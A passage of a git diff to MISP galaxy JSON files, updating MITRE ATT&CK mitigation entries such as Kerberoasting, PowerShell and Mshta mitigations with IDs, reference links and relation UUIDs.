"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1b51f5bc-b97a-498a-8dbd-bc6b1901bf19", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4e6620ac-c30c-4f6d-918e-fa20cae7c1ce", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bd4d32f5-eed4-4018-a649-40b229dd1d69", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9d7c32f4-ab39-49dc-8055-8106bc2294a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "62adb627-f647-498e-b4cc-41499361bacb", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6c49d50f-494d-4150-b774-a655022d20a6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "351c0927-2fc1-4a2c-ad84-cbbee7eb8172", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8f142a25-f6c3-4520-bd50-2ae3ab50ed3e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "1553b156-6767-47f7-9eb4-2a692505666d", + "value": "Application Vetting - M1005" }, { - "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised.[[CiteRef::TCG Trusted Platform Module]][[CiteRef::TechNet Secure Boot Process]]", + "description": "Describes any guidance or training given to users to set particular configuration settings or avoid specific potentially risky behaviors.", "meta": { - "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751" + "external_id": "M1011", + "refs": [ + "https://attack.mitre.org/mitigations/M1011" + ] }, - "value": "Bootkit Mitigation" + "related": [ + { + "dest-uuid": "a0464539-e1b7-4455-a355-12495987c300", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d9db3d46-66ca-44b4-9daa-1ef97cb7465a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "cde2cb84-455e-410c-8aa9-086f2788bcd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0c71033e-401e-4b97-9309-7a7c95e43a5d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6f86d346-f092-4abc-80df-8558a90c426a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "537ea573-8a1c-468c-956b-d16d2ed9d067", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "653492e3-27be-4a0e-b08c-938dd2b7e0e1", + "value": "User Guidance - M1011" }, { - "description": "Prevent users from changing the HISTCONTROL environment variable[[CiteRef::Securing bash history]]. Also, make sure that the HISTCONTROL environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.", + "description": "An enterprise mobility management (EMM), also known as mobile device management (MDM), system can be used to provision policies to mobile devices to control aspects of their allowed behavior.", "meta": { - "uuid": "d684a482-645d-4ad9-8a3e-78ca61e188d6" + "external_id": "M1012", + "refs": [ + "https://attack.mitre.org/mitigations/M1012" + ] }, - "value": "HISTCONTROL Mitigation" + "related": [ + { + "dest-uuid": "51aedbd6-2837-4d15-aeb0-cb09f2bf22ac", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "667e5707-3843-4da8-bd34-88b922526f0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "53263a67-075e-48fa-974b-91c5b5445db7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "649f7268-4c12-483b-ac84-4b7bca9fe2ee", + "value": "Enterprise Policy - M1012" + }, + { + "description": "In order to mitigate Signaling System 7 (SS7) exploitation, the Communications, Security, Reliability, and Interoperability Council (CSRIC) describes filtering interconnections between network operators to block inappropriate requests (Citation: CSRIC5-WG10-FinalReport).", + "meta": { + "external_id": "M1014", + "refs": [ + "https://attack.mitre.org/mitigations/M1014", + "https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" + ] + }, + "related": [ + { + "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "52651225-0b3a-482d-aa7e-10618fd063b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "e829ee51-1caf-4665-ba15-7f8979634124", + "value": "Interconnection Filtering - M1014" + }, + { + "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1014", + "refs": [ + "https://attack.mitre.org/techniques/T1014", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f", + "value": "Rootkit Mitigation - T1014" + }, + { + "description": "Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer which have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", + "meta": { + "external_id": "T1170", + "refs": [ + "https://attack.mitre.org/techniques/T1170" + ] + }, + "related": [ + { + "dest-uuid": "a127c32c-cbb0-4f9d-be07-881a792408ec", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d2dce10b-3562-4d61-b2f5-7c6384b038e2", + "value": "Mshta Mitigation - T1170" + }, + { + "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)", + "meta": { + "external_id": "T1180", + "refs": [ + "https://attack.mitre.org/techniques/T1180", + "https://technet.microsoft.com/library/cc938799.aspx" + ] + }, + "related": [ + { + "dest-uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "9da16278-c6c5-4410-8a6b-9c16ce8005b3", + "value": "Screensaver Mitigation - T1180" + }, + { + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)", + "meta": { + "external_id": "T1085", + "refs": [ + "https://attack.mitre.org/techniques/T1085", + "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET" + ] + }, + "related": [ + { + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "8c918d8a-11c5-4ffd-af10-e74bc06bdfae", + "value": "Rundll32 Mitigation - T1085" }, { "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", "meta": { - "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739" + "external_id": "T1062", + "refs": [ + "https://attack.mitre.org/techniques/T1062" + ] }, - "value": "Hypervisor Mitigation" + "related": [ + { + "dest-uuid": "4be89c7c-ace6-4876-9377-c8d54cef3d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739", + "value": "Hypervisor Mitigation - T1062" + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", + "meta": { + "external_id": "T1207", + "refs": [ + "https://attack.mitre.org/techniques/T1207" + ] + }, + "related": [ + { + "dest-uuid": "564998d8-ab3e-4123-93fb-eccaa6b9714a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "b70627f7-3b43-4c6f-8fc0-c918c41f8f72", + "value": "DCShadow Mitigation - T1207" + }, + { + "description": "Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nLimit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nEnable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)", + "meta": { + "external_id": "T1208", + "refs": [ + "https://attack.mitre.org/techniques/T1208", + "https://adsecurity.org/?p=2293" + ] + }, + "related": [ + { + "dest-uuid": "b39d03cb-7b98-41c4-a878-c40c1a913dc0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "a3e12b04-8598-4909-8855-2c97c1e7d549", + "value": "Kerberoasting Mitigation - T1208" + }, + { + "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1036", + "refs": [ + "https://attack.mitre.org/techniques/T1036", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae", + "value": "Masquerading Mitigation - T1036" + }, + { + "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.\n\nConfigure Office security settings enable Protected View, to execute within a sandbox environment, and to block macros through Group Policy. (Citation: Microsoft Block Office Macros) Other types of virtualization and application microsegmentation may also mitigate the impact of compromise. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)", + "meta": { + "external_id": "T1064", + "refs": [ + "https://attack.mitre.org/techniques/T1064", + "https://cloudblogs.microsoft.com/microsoftsecure/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/", + "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + ] + }, + "related": [ + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6", + "value": "Scripting Mitigation - T1064" + }, + { + "description": "Ensure proper permissions are in place to help prevent adversary access to privileged accounts necessary to perform this action. Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)", + "meta": { + "external_id": "T1067", + "refs": [ + "https://attack.mitre.org/techniques/T1067", + "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf", + "https://technet.microsoft.com/en-us/windows/dn168167.aspx" + ] + }, + "related": [ + { + "dest-uuid": "02fefddc-fb1b-423f-a76b-7552dd211d4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "96150c35-466f-4f0a-97a9-ae87ee27f751", + "value": "Bootkit Mitigation - T1067" + }, + { + "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration. (Citation: Netspi PowerShell Execution Policy Bypass) Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", + "meta": { + "external_id": "T1086", + "refs": [ + "https://attack.mitre.org/techniques/T1086", + "https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/" + ] + }, + "related": [ + { + "dest-uuid": "f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2", + "value": "PowerShell Mitigation - T1086" + }, + { + "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "meta": { + "external_id": "T1099", + "refs": [ + "https://attack.mitre.org/techniques/T1099", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] + }, + "related": [ + { + "dest-uuid": "128c55d3-aeba-469f-bd3e-c8996ab4112a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488", + "value": "Timestomp Mitigation - T1099" + }, + { + "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)", + "meta": { + "external_id": "T1117", + "refs": [ + "https://attack.mitre.org/techniques/T1117", + "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET" + ] + }, + "related": [ + { + "dest-uuid": "68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "12c13879-b7bd-4bc5-8def-aacec386d432", + "value": "Regsvr32 Mitigation - T1117" }, { "description": "InstallUtil may not be necessary within a given environment. Use application whitelisting configured to block execution of InstallUtil.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", "meta": { - "uuid": "ec418d1b-4963-439f-b055-f914737ef362" + "external_id": "T1118", + "refs": [ + "https://attack.mitre.org/techniques/T1118" + ] }, - "value": "InstallUtil Mitigation" + "related": [ + { + "dest-uuid": "f792d02f-813d-402b-86a5-ab98cb391d3b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ec418d1b-4963-439f-b055-f914737ef362", + "value": "InstallUtil Mitigation - T1118" + }, + { + "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation). Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)", + "meta": { + "external_id": "T1191", + "refs": [ + "https://attack.mitre.org/techniques/T1191", + "https://msitpros.com/?p=3960" + ] + }, + "related": [ + { + "dest-uuid": "7d6f590f-544b-45b4-9a42-e0805f342af3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "91816292-3686-4a6e-83c4-4c08513b9b57", + "value": "CMSTP Mitigation - T1191" }, { "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.", "meta": { - "uuid": "2f3dc2b6-70f1-4a91-b77b-8de66b332b70" + "external_id": "T1142", + "refs": [ + "https://attack.mitre.org/techniques/T1142" + ] }, - "value": "Keychain Mitigation" + "related": [ + { + "dest-uuid": "9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "56648de3-8947-4559-90c4-eda10acc0f5a", + "value": "Keychain Mitigation - T1142" }, { "description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.", "meta": { - "uuid": "fc01bee2-a300-4eec-beb9-2291cc464578" + "external_id": "T1152", + "refs": [ + "https://attack.mitre.org/techniques/T1152" + ] }, - "value": "Launchctl Mitigation" - }, - { - "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "45e7f570-6a0b-4095-bf02-4bca05da6bae" - }, - "value": "Masquerading Mitigation" - }, - { - "description": "It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions. When PowerShell is necessary, restrict PowerShell execution policy to administrators and to only execute signed scripts. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.[[CiteRef::Netspi PowerShell Execution Policy Bypass]] Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.", - "meta": { - "uuid": "d0415180-51e9-40ce-b57c-c332b0b441f2" - }, - "value": "PowerShell Mitigation" - }, - { - "description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f" - }, - "value": "Rootkit Mitigation" + "related": [ + { + "dest-uuid": "53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc", + "value": "Launchctl Mitigation - T1152" }, { "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", "meta": { - "uuid": "7dd3e094-a828-4d2c-bf62-6b8e0f285d98" + "external_id": "T1153", + "refs": [ + "https://attack.mitre.org/techniques/T1153" + ] }, - "value": "Source Mitigation" - }, - { - "description": "Turn off unused features or restrict access to scripting engines such as VBScript or scriptable administration frameworks such as PowerShell.", - "meta": { - "uuid": "57019a80-8523-46b6-be7d-f763a15a2cc6" - }, - "value": "Scripting Mitigation" - }, - { - "description": "The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", - "meta": { - "uuid": "eba326ab-299e-41b9-8c75-9a6b3f7bfc04" - }, - "value": "Sudo Mitigation" + "related": [ + { + "dest-uuid": "45d84c8b-c1e2-474d-a14d-69b5de0a2bc0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "5391ece4-8866-415d-9b5e-8dc5944f612a", + "value": "Source Mitigation - T1153" }, { "description": "Due to potential legitimate uses of trap commands, it's may be difficult to mitigate use of this technique.", "meta": { - "uuid": "a3b9f15d-fcc4-40d6-b1f4-3af88115ae11" + "external_id": "T1154", + "refs": [ + "https://attack.mitre.org/techniques/T1154" + ] }, - "value": "Trap Mitigation" + "related": [ + { + "dest-uuid": "b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "809b79cd-be78-4597-88d1-5496d1d9993a", + "value": "Trap Mitigation - T1154" }, { - "description": "Mitigation of timestomping specifically is likely difficult. Efforts should be focused on preventing potentially malicious software from running. Identify and block potentially malicious software that may contain functionality to perform timestomping by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Prevent users from changing the HISTCONTROL environment variable (Citation: Securing bash history). Also, make sure that the HISTCONTROL environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.", "meta": { - "uuid": "5c167af7-c2cb-42c8-ae67-3fb275bf8488" + "external_id": "T1148", + "refs": [ + "https://attack.mitre.org/techniques/T1148", + "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + ] }, - "value": "Timestomp Mitigation" + "related": [ + { + "dest-uuid": "086952c4-5b90-4185-b573-02bad8e11953", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "03c0c586-50ed-45a7-95f4-f496d7eb5330", + "value": "HISTCONTROL Mitigation - T1148" + }, + { + "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.", + "meta": { + "external_id": "T1155", + "refs": [ + "https://attack.mitre.org/techniques/T1155", + "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/" + ] + }, + "related": [ + { + "dest-uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "1e4ef2c7-ee96-4484-9baa-3b5777561301", + "value": "AppleScript Mitigation - T1155" + }, + { + "description": "The sudoers file should be strictly edited such that passwords are always required and that users can’t spawn risky processes as users with higher privilege. By requiring a password, even if an adversary can get terminal access, they must know the password to run anything in the sudoers file.", + "meta": { + "external_id": "T1169", + "refs": [ + "https://attack.mitre.org/techniques/T1169" + ] + }, + "related": [ + { + "dest-uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "23bff3ce-021c-4e7a-9aee-60fd40bc7c6c", + "value": "Sudo Mitigation - T1169" + }, + { + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", + "meta": { + "external_id": "T1179", + "refs": [ + "https://attack.mitre.org/techniques/T1179" + ] + }, + "related": [ + { + "dest-uuid": "66f73398-8394-4711-85e5-34c8540b22a5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "7aee8ea0-0baa-4232-b379-5d9ce98352cf", + "value": "Hooking Mitigation - T1179" + }, + { + "description": "Enable remote attestation capabilities when available (such as Android SafetyNet or Samsung Knox TIMA Attestation) and prohibit devices that fail the attestation from accessing enterprise resources.", + "meta": { + "external_id": "M1002", + "refs": [ + "https://attack.mitre.org/mitigations/M1002" + ] + }, + "related": [ + { + "dest-uuid": "46d818a5-67fa-4585-a7fc-ecf15376c8d5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "ff4821f6-5afb-481b-8c0f-26c28c0d666c", + "value": "Attestation - M1002" } ], - "version": 5 + "version": 8 } diff --git a/clusters/mitre-intrusion-set.json b/clusters/mitre-intrusion-set.json index d0a6561..3577d0f 100644 --- a/clusters/mitre-intrusion-set.json +++ b/clusters/mitre-intrusion-set.json @@ -10,20 +10,27 @@ "uuid": "10df003c-7831-11e7-bdb9-971cdd1218df", "values": [ { - "description": "is a Chinese threat group that has extensively used strategic Web compromises to target victims.[[Citation: Dell TG-3390]] The group has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors.[[Citation: SecureWorks BRONZE UNION June 2017]]", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims. (Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, and manufacturing sectors. (Citation: SecureWorks BRONZE UNION June 2017) (Citation: Securelist LuckyMouse June 2018)", "meta": { + "external_id": "G0027", "refs": [ - "https://attack.mitre.org/wiki/Group/G0027", - "http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/", - "https://www.secureworks.com/research/bronze-union" + "https://attack.mitre.org/groups/G0027", + 